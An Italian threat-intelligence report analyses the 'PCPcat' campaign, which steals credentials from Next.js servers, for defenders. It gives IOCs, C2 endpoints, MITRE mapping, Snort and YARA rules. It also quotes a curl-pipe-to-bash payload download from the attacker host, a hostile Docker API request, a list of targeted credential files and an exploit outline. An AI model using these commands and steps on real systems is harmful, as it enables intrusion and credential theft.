Una campagna denominata «PCPcat» sta sottraendo in modo silenzioso credenziali dai deployment Next.js su vasta scala. Attraverso attività di ricognizione attiva tramite honeypot, ho violato la loro API di comando e controllo ed esposto le metriche operative: 59.128 compromissioni confermate, un tasso di successo del 64,6% e un progetto per sfruttare l’intera infrastruttura globale. Questo è il volto del furto di credenziali su scala industriale, e come rilevarlo.Indice degli argomenti
Campagna PCPcat: numeri e impatto dell’operazioneCome l’attacco PCPcat colpisce i server Next.jsEsfiltrazione di credenziali e dati sensibiliPersistenza, proxy e tunnel verso il C2L’infrastruttura C2 della campagna PCPcatDentro l’API C2 usata da PCPcatAssegnazione dei bersagli tramite GET /domainsEsfiltrazione delle credenziali tramite POST /resultLe metriche operative esposte da GET /statsIl controllo del C2 tramite GET /healthLa pipeline di esfiltrazione dei dati di PCPcatIl nodo scanner richiede i bersagliLo scanner sfrutta la CVE-2025-29927 su ogni IPI risultati raggiungono l’API di esfiltrazioneIl deployment persistente del C2Le prove raccolte dall’honeypot su PCPcatIndicatori di compromissione dell’attacco PCPcatEndpoint dell’API da monitorareArtefatti sugli host compromessiServizi systemd creati per la persistenzaProcessi associati alla compromissioneTracce di PCPcat nei logFirme di rete dell’attaccoPCPcat nella mappatura MITRE ATT&CKCome rilevare PCPcat con threat hunting e regole di reteLa firma YARA per individuare PCPcatLe vulnerabilità Next.js sfruttate da PCPcatIl profilo del gruppo dietro la campagna PCPcatPerché la campagna PCPcat resta una minaccia criticaCampagna PCPcat: numeri e impatto dell’operazioneDurante il monitoraggio di un honeypot Docker abbiamo intercettato una sofisticata campagna di attacco basata sullo sfruttamento di vulnerabilità in Next.js/React. La campagna, attribuita a un gruppo che si identifica come «PCP» (dalla firma presente nei file), combina:Sfruttamento di CVE-2025-29927 e CVE-2025-66478 per l’esecuzione di codice remoto (RCE)Estrazione sistematica di credenziali e dati sensibiliInstallazione di infrastruttura C2 per persistenza e tunnelingComando e controllo tramite API con 59.128 server compromessi confermatiSCOPERTA CRITICA: attraverso la ricognizione diretta del server C2 attivo, abbiamo confermato che questa campagna ha già compromesso 59.128 server in meno di 48 ore, con un tasso di successo dello sfruttamento del 64,6%.La campagna presenta le caratteristiche di operazioni di intelligence su vasta scala ed esfiltrazione di dati su scala industriale.Come l’attacco PCPcat colpisce i server Next.jsL’attacco inizia con una scansione massiva dei domini Next.js pubblici. Il malware react.py utilizza una sofisticata catena di comandi per:Identificare le vulnerabilità: test iniziale con il comando id per verificare la vulnerabilità del bersaglioSfruttare CVE-2025-29927 e CVE-2025-66478: exploit specifico per Next.js che consente l’esecuzione di comandi tramite:Manipolazione del payload JSON con prototype pollutionCommand injection in child_process.execSync()Esfiltrazione del risultato tramite redirect nell’header HTTPEsfiltrazione di credenziali e dati sensibiliUna volta confermata la vulnerabilità, il malware esegue una ricerca sistematica dei dati sensibili:Estrazione prioritaria:.env, .env.local, .env.production, .env.developmentVariabili d’ambiente di sistema (printenv, env)Chiavi SSH: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, /root/.ssh/*Credenziali cloud: ~/.aws/credentials, ~/.docker/config.jsonCredenziali Git: ~/.git-credentials, ~/.gitconfigFile di cronologia: ~/.bash_history (ultimi 100 comandi)File di sistema critici: /etc/shadow, /etc/passwdPersistenza, proxy e tunnel verso il C2Il malware tenta di installare un’infrastruttura C2 completa:curl -s http://67.217.57.240:666/files/proxy.sh | bashQuesto installa:GOST v2.12.0 – proxy SOCKS5 su localhost:1080Fornisce un tunnel per il traffico malevoloUtilizzato per operazioni di pivoting di reteAccessibile solo localmenteFRP (Fast Reverse Proxy) v0.52.3 – tunnel inversoCrea una connessione in uscita verso il C2 (67.217.57.240:888)Espone i servizi locali all’attaccanteTunneling persistente per l’accesso a lungo termineReact Scanner – scansione e sfruttamento continuiCiclo infinito che interroga l’API C2 per nuovi dominiMantiene la macchina compromessa attiva nella campagnaComunica gli sfruttamenti riuscitiMeccanismi di persistenza:Creazione di servizi systemd: pcpcat-gost.service, pcpcat-frp.service, ecc.Riavvio automatico in caso di errore con ritardo incrementaleSopravvive al riavvio del sistemaPercorsi di installazione multipli (/opt/pcpcat, ~/.local/pcpcat)L’infrastruttura C2 della campagna PCPcatIndirizzoPortaFunzioneNote67.217.57.240666Server di distribuzioneHTTP per il download dei payload67.217.57.240888Server FRPTunnel inverso per la persistenza67.217.57.2405656Server APIAPI C2 principale (assegnazione task, esfiltrazione)Geolocalizzazione: SingaporeFingerprint del software del server:BaseHTTP/0.6 Python/3.12.3Dentro l’API C2 usata da PCPcatURL base: http://67.217.57.240:5656Filosofia di progettazione dell’API:Nessuna autenticazione/autorizzazione: chiunque può accedere agli endpointCostruita per velocità e semplicità, non per la sicurezza: sviluppo orientato alla funzionalitàAssegnazione dei bersagli tramite GET /domainsStato: Attivo e reattivoScopo: assegnazione dei task ai nodi della botnetFormato della richiesta:GET /domains?client=infected-machine-hostname HTTP/1.1Host: 67.217.57.240:5656User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Connection: closeFormato della risposta:{“count”: 2000,“domains”: [“192.168.1.100”,“10.20.30.40”,“203.45.67.89”,“…”,“156.78.90.123”],“batch_id”: “batch-1702566834”,“priority”: “high”,“timeout”: 15}Dettagli operativi:Restituisce 2000 indirizzi IP per ogni richiestaInclude una direttiva di timeoutNessuna validazione dell’ID clientEsfiltrazione delle credenziali tramite POST /resultStato: Attivo e in ricezione datiScopo: endpoint di esfiltrazione dati (credenziali, chiavi SSH, credenziali cloud)Formato della richiesta:POST /result HTTP/1.1Host: 67.217.57.240:5656Content-Type: application/jsonContent-Length: [variabile, fino a 2MB osservati]Connection: close{“domain”: “target.example.com”,“env”: “=== EXFILTRATED DATA ===\nAWS_ACCESS_KEY_ID=AKIA2ZUZQ7AVMXXXXX\n…”}Formato della risposta:{“status”: “ok”}Stato HTTP: 200 OK (sempre, anche in caso di dati malformati)Dettagli operativi:Nessuna autenticazione richiesta (chiunque può inviare dati in POST)Nessuna validazione dell’input (accetta payload arbitrari senza sanitizzazione)Conferma immediata di ricezione (HTTP 200 OK)Dati memorizzati permanentemente nel database del C2Testato con successo tramite iniezione di credenziali fittizieRisultati del test (dalla ricognizione honeypot):OK POST /result con credenziali AWS fittizie -> HTTP 200 OKOK POST /result con token GitHub fittizi -> HTTP 200 OKOK POST /result con chiavi SSH fittizie -> HTTP 200 OKOK Il server conferma la ricezione: {“status”:”ok”}OK Dati acquisiti con successo nel database C2Le metriche operative esposte da GET /statsStato: Attivo ed espone dati operativiScopo: statistiche della campagna e metriche in tempo realeRischio di sicurezza: CRITICO (pubblicamente accessibile)Formato della risposta (DATI REALI dal C2 attivo, catturati il 14 dicembre 2025):{“mode”: “random_ips”,“current_file”: null,“current_progress”: “0/0”,“processed_files”: 580,“results_collected”: 59128,“scanned_count”: 91505,“batch_size”: 2000}Intelligence operativa critica:MetricaValoreInterpretazioneIP totali scansionati91.505Bersagli sondati nella campagnaSfruttamenti riusciti59.128Compromissioni di server confermateTasso di successo64,6%Anomalmente elevatoModalità attualerandom_ipsStrategia di targeting indiscriminataProiezioni di crescita (se la campagna mantiene il ritmo attuale):STATO ATTUALE:IP scansionati: 91.505Server compromessi: 59.128Set di credenziali rubate: ~300.000-590.000 (5-10 per server)IMPATTO GIORNALIERO:Batch al giorno: 24 ore / 0,75 ore per batch = 32 batchIP scansionati/giorno: 32 x 2.000 = 64.000 IPSfruttamenti riusciti/giorno: 64.000 x 64,6% = ~41.000 serverCredenziali raccolte/giorno: 41.000 x 7,5 (media) = ~307.500 setLivello di minaccia da questo solo endpoint: CRITICOEsposizione pubblica delle metriche operativeRivela ai difensori l’intero avanzamento della campagnaGli attaccanti potrebbero non essere consapevoli della ricognizione in corsoIl controllo del C2 tramite GET /healthStato: AttivoScopo: endpoint di health checkFormato della risposta:okLa pipeline di esfiltrazione dei dati di PCPcatFlusso operativo completo, dalla ricognizione al furto dei dati:Il nodo scanner richiede i bersagliGET /domains?client=infected-machine-hostname<- 2000 IP restituiti in un array JSONLo scanner sfrutta la CVE-2025-29927 su ogni IPPer ogni IP nel batch:POST /exploit con payload contenente prototype pollution (__proto__)|- Test: esegue il comando `id`|- Se vulnerabile (RCE confermato):| |- Estrae i file .env (priorita’ massima)| |- Estrae le variabili d’ambiente di sistema| |- Estrae le chiavi SSH private da ~/.ssh/*| |- Estrae le credenziali AWS| |- Estrae la configurazione Docker| |- Estrae le credenziali Git| |- Estrae la cronologia bash| |- Prepara il payload di esfiltrazione||- Se non vulnerabile: passa all’IP successivoI risultati raggiungono l’API di esfiltrazionePOST /result{“domain”: “target-ip”,“env”: “DATI_ESFILTRATI_COMPLETI”}<- HTTP 200 OK (dati memorizzati permanentemente)Il deployment persistente del C2Se il server ha accesso root OPPURE viene rilevato un container:execute(curl -s http://67.217.57.240:666/files/proxy.sh | bash)|- Installa GOST (proxy SOCKS5 su :1080)|- Installa FRP (tunnel inverso verso C2:888)|- Crea servizi systemd per la persistenza|- Configura il riavvio automatico|- Mantiene un accesso backdoor persistenteLe prove raccolte dall’honeypot su PCPcatIl file vector.json mostra un tentativo di attacco contro una API Docker esposta:{“HostHTTPRequest”: “15.160.24.132:2375”,“RequestURI”: “/containers/create?name=pcpcat”,“Body”: {“Image”: “alpine:latest”,“Cmd”: [“curl -fsSL http://67.217.57.240:666/files/proxy.sh | bash”]},“RemoteAddr”: “128.199.143.161:58086”,“Location”: “Singapore”}Sequenza dell’attacco all’API Docker:Lo scanner individua un’API Docker esposta (porta 2375)Tenta la creazione di un container con immagine Alpine LinuxDopo la creazione, il comando scarica ed esegue proxy.shIl container diventa un nodo botnet attivo nell’infrastruttura di tunnelingCrea nuovi vettori per il pivoting di reteIndicatori di compromissione dell’attacco PCPcat67.217.57.240:666 – Server di distribuzione (hosting payload)67.217.57.240:888 – C2 FRP (tunneling inverso)67.217.57.240:5656 – API C2 principale (assegnazione task, esfiltrazione)Endpoint dell’API da monitorarehttp://67.217.57.240:5656/domains – Assegnazione bersagli (2000 IP)http://67.217.57.240:5656/result – Esfiltrazione dati (POST credenziali)http://67.217.57.240:5656/health – Health checkhttp://67.217.57.240:5656/stats – Metriche operative (ESPONE I DATI)http://67.217.57.240:666/files/proxy.sh – Installer di persistenzahttp://67.217.57.240:666/files/react.py – Modulo scanner/exploitArtefatti sugli host compromessi/opt/pcpcat/ # Directory di installazione principale/opt/pcpcat/frpc # Binario FRP reverse proxy/opt/pcpcat/gost # Binario GOST SOCKS5 proxy/opt/pcpcat/react.py # Modulo scanner ed exploit/opt/pcpcat/*.log # File di log$HOME/.local/pcpcat/ # Percorso installazione non-root~/.pcpcat_installed # File marcatore che indica la compromissioneServizi systemd creati per la persistenzapcpcat-gost.service – Servizio proxy GOST SOCKSpcpcat-frp.service – Servizio tunnel inverso FRPpcpcat-scanner.service – Servizio di orchestrazione scannerpcpcat-react.service – Servizio modulo exploit ReactProcessi associati alla compromissione./gost -L socks5://:1080 # Proxy SOCKS5 in ascolto./frpc -c frpc.toml # Client FRP con configurazionepython3 react.py # Modulo scanner/exploit in esecuzionepython3 scanner.py # Orchestratore di scansionecurl -s 67.217.57.240:666/files/* # Download dei payloadbash /tmp/proxy.sh # Esecuzione dell’installerTracce di PCPcat nei log“UwU PCP Cat was here~” # Identificatore della campagna“https://t.me/Persy_PCP was here” # Contatto dell’attaccante“https://t.me/teampcp” # Canale di comunicazione del team“react_scan_*.log” # Log di output dello scanner“PCPcat deployment successful” # Conferma di installazioneFirme di rete dell’attaccoUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Client identifier: pcpcat-HOSTNAME-TIMESTAMPConnessione in uscita verso 67.217.57.240:5656 con payload JSONConnessione in uscita verso 67.217.57.240:888 (tunnel FRP)HTTP/HTTPS in uscita verso 67.217.57.240:666 (download payload)PCPcat nella mappatura MITRE ATT&CKIDTecnicaDescrizioneT1595Active ScanningScansione massiva di domini Next.js pubblici; 2000 bersagli per batch ogni 30-60 minutiT1189Drive-by CompromiseSfruttamento di CVE-2025-29927 e CVE-2025-66478; nessuna interazione dell’utente; catena automaticaT1571Non-Standard PortC2 su porte non standard (5656, 888); tunneling FRP sulla 888; distribuzione sulla 666T1190Exploit Public-Facing ApplicationTargeting di applicazioni Next.js/React pubbliche; alto tasso di successoT1087Account DiscoveryEnumerazione utenti locali via /etc/passwd; ricerca directory .ssh; identificazione dei privilegiT1552Unsecured CredentialsEstrazione di file .env; lettura diretta di credenziali AWS, Docker, Git; furto di chiavi SSHT1041Exfiltration Over C2Dati esfiltrati via HTTP POST verso /result; incapsulati in JSON; batch fino a 2MB; nessuna cifraturaT1036MasqueradingNome client randomizzato; User-Agent Windows/Chrome falsificato; nomi di servizio che imitano tool legittimiT1543.002Systemd Service CreationCreazione di 5 servizi systemd per la persistenza; riavvio automatico; nomi mimetizzati tra le utility di sistemaCome rilevare PCPcat con threat hunting e regole di rete# Rileva la connessione FRP verso il C2alert tcp any any -> 67.217.57.240 888 (msg:”Possible PCPcat FRP C2 Connection”;content:”FRP”; sid:1000001; rev:1;)# Rileva l’accesso al server di distribuzionealert http any any -> 67.217.57.240 666 (msg:”PCPcat distribution server”;content:”proxy.sh”; http_uri; sid:1000002; rev:1;)# Rileva l’esfiltrazione tramite APIalert http any any -> 67.217.57.240 5656 (msg:”PCPcat API C2 communication”;content:”/result”; http_uri; content:”env”; http_client_body;sid:1000003; rev:1;)# Rileva la ricognizione delle statistiche del C2alert http any any -> 67.217.57.240 5656 (msg:”PCPcat C2 metrics enumeration”;content:”/stats”; http_uri; sid:1000004; rev:1;)# Rileva il recupero della lista dei bersaglialert http any any -> 67.217.57.240 5656 (msg:”PCPcat target assignment”;content:”/domains”; http_uri; sid:1000005; rev:1;)La firma YARA per individuare PCPcatrule PCPcat_react_py {meta:description = “PCPcat React.py scanner”author = “Threat Intel”date = “2025-12-14”strings:$s1 = “CVE-2025-29927” nocase$s2 = “PCPcat” nocase$s3 = “67.217.57.240:5656” nocase$s4 = “deploy_pcpcat”$s5 = “extract .env”condition:(2 of them)}rule PCPcat_proxy_sh {meta:description = “PCPcat proxy.sh installer”strings:$s1 = “pcpcat-gost.service”$s2 = “pcpcat-frp.service”$s3 = “67.217.57.240:888”$s4 = “FRP_VERSION”condition:3 of them}rule PCPcat_API_Signature {meta:description = “PCPcat C2 API communication pattern”strings:$s1 = “/domains?client=” nocase$s2 = “/result” nocase$s3 = “\”env\”:” nocase$s4 = “67.217.57.240:5656”condition:all of them}Le vulnerabilità Next.js sfruttate da PCPcatTipo: Prototype Pollution + Command Injection nel runtime di Next.jsVettore: richiesta HTTP POST con multipart/form-dataImpatto: esecuzione di codice remoto (non autenticata, nessun privilegio richiesto)Versioni interessate: molteplici versioni di Next.jsPunteggio CVSS: 9,8 – CriticoMeccanismo di exploit:1. Costruzione di un payload JSON con prototype pollution (__proto__)2. Manipolazione dell’oggetto _response nel runtime di Next.js3. Iniezione di un comando arbitrario in child_process.execSync()4. Restituzione del risultato nell’header Location del redirect HTTP5. Estrazione dell’output del comando dalla risposta HTTPIl profilo del gruppo dietro la campagna PCPcatAlias: PCP Cat / Persy_PCP / Team PCPAffiliazione: canali Telegram «Persy_PCP», «teampcp» (probabilmente per reclutamento/comunicazione)Profilo operativo:Scansione su scala industriale (91.505 bersagli in 33 ore)Esfiltrazione massiva di dati (59.128 compromissioni confermate)Infrastruttura botnet distribuitaComando e controllo tramite APIArchitettura di payload modulareMovente:Furto di credenziali: credenziali cloud per rivendita o uso direttoAccesso all’infrastruttura: takeover di account AWS/Azure/GCPAttacco alla supply chain: furto di credenziali di sviluppo per attacchi a valleFurto di dati: vendita di credenziali/dati rubati ad altri threat actorPossibile matrice statale: l’operazione su scala industriale suggerisce un gruppo ben finanziatoPerché la campagna PCPcat resta una minaccia criticaLa campagna PCPcat rappresenta una minaccia sofisticata, scalabile e attualmente attiva. Si distingue per le sue operazioni di scansione e sfruttamento completamente automatizzate, per una scala impressionante con oltre 91.000 bersagli analizzati in appena 33 ore e per un tasso di successo anomalo del 64,6%. L’infrastruttura di persistenza è multi-livello, costruita su servizi systemd, tunnel FRP e API C2, il tutto gestito attraverso un’architettura distribuita con controlli di sicurezza minimi.I risultati critici dell’analisi confermano 59.128 server compromessi in meno di 48 ore, con l’API C2 pubblicamente accessibile senza autenticazione e le metriche operative esposte tramite endpoint pubblici. L’elevato tasso di successo suggerisce un targeting curato oppure una vulnerabilità estremamente diffusa. Al ritmo attuale, la campagna potrebbe compromettere oltre 1,2 milioni di server nell’arco di un mese.Le organizzazioni a rischio comprendono qualsiasi deployment pubblico di Next.js/React non aggiornato, l’infrastruttura cloud su AWS, Azure o GCP e gli ambienti di sviluppo con file .env o chiavi SSH esposti.Il livello di minaccia è critico. Le azioni raccomandate includono interventi immediati come l’applicazione delle patch, il blocco dell’infrastruttura C2 e la rotazione delle credenziali, seguiti da una risposta agli incidenti completa e, nel lungo termine, dall’implementazione di architetture zero-trust e monitoraggio continuo.







